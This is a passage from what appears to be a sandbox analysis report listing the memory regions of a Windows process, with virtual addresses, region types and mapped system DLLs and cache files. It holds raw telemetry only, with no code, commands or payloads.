filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3070 start_va = 0x775f0000 end_va = 0x775f9fff monitored = 0 entry_point = 0x775f36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3071 start_va = 0x75300000 end_va = 0x7539cfff monitored = 0 entry_point = 0x75333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3072 start_va = 0x75650000 end_va = 0x756effff monitored = 0 entry_point = 0x756649e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3073 start_va = 0x75ef0000 end_va = 0x76b39fff monitored = 0 entry_point = 0x75f71601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3074 start_va = 0x76cd0000 end_va = 0x76d26fff monitored = 0 entry_point = 0x76ce9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3075 start_va = 0x170000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3076 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3077 start_va = 0x3f0000 end_va = 0x577fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3078 start_va = 0x5d0000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 3079 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3080 start_va = 0x76ff0000 end_va = 0x7704ffff monitored = 0 entry_point = 0x7700158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3081 start_va = 0x754c0000 end_va = 0x7558bfff monitored = 0 entry_point = 0x754c168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3082 start_va = 0x650000 end_va = 0x7d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 3083 start_va = 0x830000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 3084 start_va = 0xaf0000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 3158 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3159 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3160 start_va = 0x170000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3161 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3164 start_va = 0x73a00000 end_va = 0x73a16fff monitored = 0 entry_point = 0x73a03573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3165 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3166 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3167 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3168 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3169 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3170 start_va = 0x739c0000 end_va = 0x739fafff monitored = 0 entry_point = 0x739c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3187 start_va = 0x2b0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 3188 start_va = 0x1fe0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 3189 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3190 start_va = 0x940000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 3191 start_va = 0x21e0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 3192 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3203 start_va = 0x22e0000 end_va = 0x25aefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3204 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3205 start_va = 0xf0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3206 start_va = 0x2660000 end_va = 0x275ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 3207 start_va = 0x76e00000 end_va = 0x76f5bfff monitored = 0 entry_point = 0x76e4ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3208 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3209 start_va = 0x980000 end_va = 0x9fcfff monitored = 0 entry_point = 0x98cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3210 start_va = 0x980000 end_va = 0x9fcfff monitored = 0 entry_point = 0x98cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3211 start_va = 0x73930000 end_va = 0x739affff monitored = 0 entry_point = 0x739437c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3212 start_va = 0x980000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 3213 start_va = 0x1ef0000 end_va = 0x1fcefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ef0000" filename = "" Region: id = 3214 start_va = 0x75050000 end_va = 0x75144fff monitored = 0 entry_point = 0x75060d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 3215 start_va = 0x76b40000 end_va = 0x76bcefff monitored = 0 entry_point = 0x76b43fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3216 start_va = 0x170000 end_va = 0x171fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 3217 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3218 start_va = 0x74eb0000 end_va = 0x7504dfff monitored = 0 entry_point = 0x74ede6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 3219 start_va = 0x180000 end_va = 0x180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 3220 start_va = 0x190000 end_va = 0x191fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3221 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 3222 start_va = 0x76d40000 end_va = 0x76dc2fff monitored = 0 entry_point = 0x76d423d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3223 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3224 start_va = 0x74e80000 end_va = 0x74ea0fff monitored = 0 entry_point = 0x74e8145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 3225 start_va = 0x771d0000 end_va = 0x77214fff monitored = 0 entry_point = 0x771d11e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 3226 start_va = 0x1b0000 end_va = 0x1b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 3227 start_va = 0x1e0000 end_va = 0x1fdfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000c.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000c.db") Region: id = 3228 start_va = 0xa90000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 3229 start_va = 0x2890000 end_va = 0x298ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 3230 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3231 start_va = 0x2760000 end_va = 0x2860fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 3232 start_va = 0x2760000 end_va = 0x2860fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 3233 start_va = 0x2760000 end_va = 0x2860fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 3234 start_va = 0x74e70000 end_va = 0x74e7afff monitored = 0 entry_point = 0x74e71992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 3235 start_va = 0x1b0000 end_va = 0x1b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3236 start_va = 0x200000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 3237 start_va = 0x1c0000 end_va = 0x1c3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3238 start_va = 0x980000 end_va = 0x9e5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 3239 start_va = 0xa20000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 3240 start_va = 0x20e0000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 3241 start_va = 0x2990000 end_va = 0x2a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 3242 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 3243 start_va = 0x75930000 end_va = 0x75accfff monitored = 0 entry_point = 0x759317e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 3244 start_va = 0x75c00000 end_va = 0x75c26fff monitored = 0 entry_point = 0x75c058b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 3245 start_va = 0x751e0000 end_va = 0x751f1fff monitored = 0 entry_point = 0x751e1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 3246 start_va = 0x230000 end_va = 0x23cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 3247 start_va = 0x2120000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 3248 start_va = 0x2760000 end_va = 0x285ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 3249 start_va = 0x2ab0000 end_va = 0x2baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ab0000" filename = "" Region: id = 3250 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 3251 start_va = 0x74e20000 end_va = 0x74e6bfff monitored = 0 entry_point = 0x74e22c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3252 start_va = 0x74df0000 end_va = 0x74e1dfff monitored = 0 entry_point = 0x74df1bba region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 3253 start_va = 0x240000 end_va = 0x24dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 3254 start_va = 0x75710000 end_va = 0x75845fff monitored = 0 entry_point = 0x75711b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 3255 start_va = 0x76bd0000 end_va = 0x76cc4fff monitored = 0 entry_point = 0x76bd1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 3256 start_va = 0x75cf0000 end_va = 0x75eeafff monitored = 0 entry_point = 0x75cf22d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 3257 start_va = 0x75ad0000 end_va = 0x75bf0fff monitored = 0 entry_point = 0x75ad158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 3258 start_va = 0x75ce0000 end_va = 0x75cebfff monitored = 0 entry_point = 0x75ce238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 3259 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 3340 start_va = 0x2160000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 3341 start_va = 0x940000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 3342 start_va = 0x2270000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 3343 start_va = 0x25b0000 end_va = 0x26affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 3344 start_va = 0x2cf0000 end_va = 0x2deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cf0000" filename = "" Region: id = 3345 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3346 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3347 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3348 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3349 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3350 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3351 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3352 start_va = 0xf0000 end_va = 0xf0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mpr.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mpr.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mpr.dll.mui") Region: id = 3353 start_va = 0x74e10000 end_va = 0x74e17fff monitored = 0 entry_point = 0x74e11356 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\SysWOW64\\drprov.dll" (normalized: "c:\\windows\\syswow64\\drprov.dll") Region: id = 3354 start_va = 0x73a70000 end_va = 0x73a98fff monitored = 0 entry_point = 0x73a76b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 3355 start_va = 0x74df0000 end_va = 0x74e03fff monitored = 0 entry_point = 0x74df15c9 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\SysWOW64\\ntlanman.dll" (normalized: "c:\\windows\\syswow64\\ntlanman.dll") Region: id = 3356 start_va = 0x74dd0000 end_va = 0x74de6fff monitored = 0 entry_point = 0x74dd1549 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\SysWOW64\\davclnt.dll" (normalized: "c:\\windows\\syswow64\\davclnt.dll") Region: id = 3357 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3358 start_va = 0x74dc0000 end_va = 0x74dc7fff monitored = 0 entry_point = 0x74dc3c87 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 3359 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3360 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3361 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3362 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3363 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3364 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3365 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3366 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3367 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3368 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3369 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3370 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3371 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3372 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3373 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3374 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3375 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3376 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3377 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3378 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3379 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3380 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3381 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3382 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3383 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3384 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3385 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3386 start_va = 0x100000 end_va = 0x104fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3425 start_va = 0x74db0000 end_va = 0x74dbefff monitored = 0 entry_point = 0x74db12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3426 start_va = 0x74da0000 end_va = 0x74daafff monitored = 0 entry_point = 0x74da1200 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 3427 start_va = 0x74d90000 end_va = 0x74d98fff monitored = 0 entry_point = 0x74d915a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3428 start_va = 0x26d0000 end_va = 0x270ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 3429 start_va = 0x2710000 end_va = 0x274ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 3430 start_va = 0x2e80000 end_va = 0x2f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e80000" filename = "" Region: id = 3431 start_va = 0x30f0000 end_va = 0x31effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030f0000" filename = "" Region: id = 3432 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3433 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 3434 start_va = 0x2bf0000 end_va = 0x2c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 3435 start_va = 0x2c60000 end_va = 0x2c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c60000" filename = "" Region: id = 3436 start_va = 0x32d0000 end_va = 0x33cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000032d0000" filename = "" Region: id = 3437 start_va = 0x33f0000 end_va = 0x34effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000033f0000" filename = "" Region: id = 3438 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private 